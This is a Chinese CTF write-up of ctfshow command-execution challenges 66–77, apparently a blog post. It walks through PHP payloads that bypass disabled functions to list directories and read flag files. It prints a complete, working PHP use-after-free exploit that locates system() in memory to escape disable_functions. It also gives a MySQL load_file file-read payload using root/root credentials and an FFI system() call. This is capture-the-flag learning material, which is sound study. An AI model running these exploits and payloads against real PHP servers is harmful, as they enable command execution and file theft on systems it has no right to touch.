66.
这次show_source被禁用了。用highlight_file()。
这次不在flag.php里了。
那就扫描一下目录,即有c=print_r(scandir('.'))查看当前目录。
啥也没有,就直接看根目录c=print_r(scandir('/'));
应该是在flag.txt里,读取它,c=highlight_file('/flag.txt'); (flag.txt在根目录里,所以要加/)
下文比较详细的介绍了目录扫描的方式,还讲解了无参rce,十分不错。可以简单看看。
67.
这此还是不在,直接查看根目录。
print_r被禁用了,但是上题我介绍了3种方法。换个c=var_dump(scandir('/'));
然后读flag.txt就行。
68.
上来就告诉我highlight_file被禁用.直接查看根目录。
这里直接文件包含读取c=include('/flag.txt');
参考了下文,其给出了几种文件包含的函数,附上截图与链接。
ctfshow命令执行 web入门 web64-68_ctfshow web68-优快云博客
69.
highlight_file还是被禁,依照上面的思路
发现var_dump被禁,那就用var_export(scandir('/'));
然后还是文件包含。
70.
先试试原来的payload,c=var_export(scandir('/'));
然后试试文件包含,flag和上面一样,咋方法也一样。
71.
延续上题思路
发现都被过滤了,然后看到题目下有个文件,下载看看。
看到这个。
代码审计一下
ob_get_contents — 返回输出缓冲区的内容,清除的是执行后的结果
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
preg_replace("/[0-9]|[a-z]/i","?",$s)就是将$s中的数字字母全替换成?,这也是为啥刚刚执行后的结果全是?。
所以我们要用exit(0)终止后面的语句(其作用也就是终止脚本运行与die类似)。在这里将exit(0)放到eval里,执行后直接终止,后面的语句就不执行了。
也就是在我们构造的payload后加exi(0);
72.
题目打开依旧是这样,打开代码也是这样。
延续上题思路,发现根目录不能打开,但当前目录可以。
看了下面大佬的wp。
ctfshow-web入门-命令执行(web71-web74)_web72-优快云博客
ctfshow-web入门-命令执行(web71-web74)_web72-优快云博客
所以这里只能用glob伪协议绕过。其实在68题就介绍了这个方法,此题详细解答一下。
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit(0); #扫描根目录有什么文件
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->getFilename()." ");} exit(0);
(注意$f->__toString这双下横线);
解释一下代码。
$a = new DirectoryIterator("glob:///*");
//利用DirectoryIterator($path)可以实现遍历目录下的所有文件
//glob:// — 查找匹配的文件路径模式
//DirectoryIterator("glob:///*") 遍历根目录里所有文件
foreach ($a as $f) { // 遍历每个条目。
echo($f->__toString() . ' '); // 输出条目的名称,并添加一个空格
}
exit(0); // 终止脚本执行
include失效了,看下面大佬是用个什么绕过安全目录的脚本
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
详解在下面。它大致讲解了一下代码,十分推荐。
ctfshow学习记录-web入门(命令执行69-77&118)-优快云博客
此代码有点复杂,可以用gpt去啃这代码。这代码不能在win环境上面运行。我们直接在hackbar或者bp上面运行。(这里的运行是让c=脚本,脚本要进行url加密,并且脚本前面的<?和空格要删了);
还有,找到根目录后可以用下面75题的方法,直接从数据库里面找,注意要将等号的url编码换成等号。
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
foreach($dbh->query('select load_file("/flag0.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
};exit();
73.
代码文件就是上题的带代码。直接扫描目录就行。
但是发现这题可以读根目录了。
然后就简单了,比上题还简单。
74.
这里scandir被被禁用了。我们就用golb.或者用glob协议。都行。
接下来就是include读文件。
75.
sacndir依旧被禁用。我们就用glob协议。
本来想用上面的脚本,但是没用,下面的大佬给了解释,说好像啥strlen被过滤了,然后看提示好像是直接查数据库。
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
};exit();
try {
// 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)
$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
// 执行一个SQL查询,从指定的文件(/flag36.txt)中读取内容
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
// 输出读取到的内容,并追加一个竖线(|)
echo($row[0])."|";
}
// 将数据库连接对象设置为null,关闭连接
$dbh = null;
} catch (PDOException $e) {
// 如果发生PDO异常,输出错误信息
echo $e->getMessage();
// 终止脚本执行
die();
}
// 终止脚本执行
exit();
这大佬还使用了sql语句从数据库查询一步一步查flag,但是结果好像不行。详解可以看下文。
ctfshow-web入门-命令执行(web75-web77)_ctfshow web75-优快云博客
记得url编码,看大佬wp不用编码就行,我这不编码会有语法错误。
76.
glob协议查找。然后还是用上面的代码,哦,记得将文件名改成flag36d.txt,还有等号的url编码改成=。
77.
依旧glob协议查到目录。
然后本来想在用上面从数据库找的方法,出现could not find driver。看下面大佬的方法,直接读readflag,至于为什么不读flag36.txt,下面文章有详解。
c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);
ctfshow-web入门-命令执行(web75-web77)_ctfshow web75-优快云博客
命令执行差不多了。之后会写一篇博客将这些题的知识点总结一下。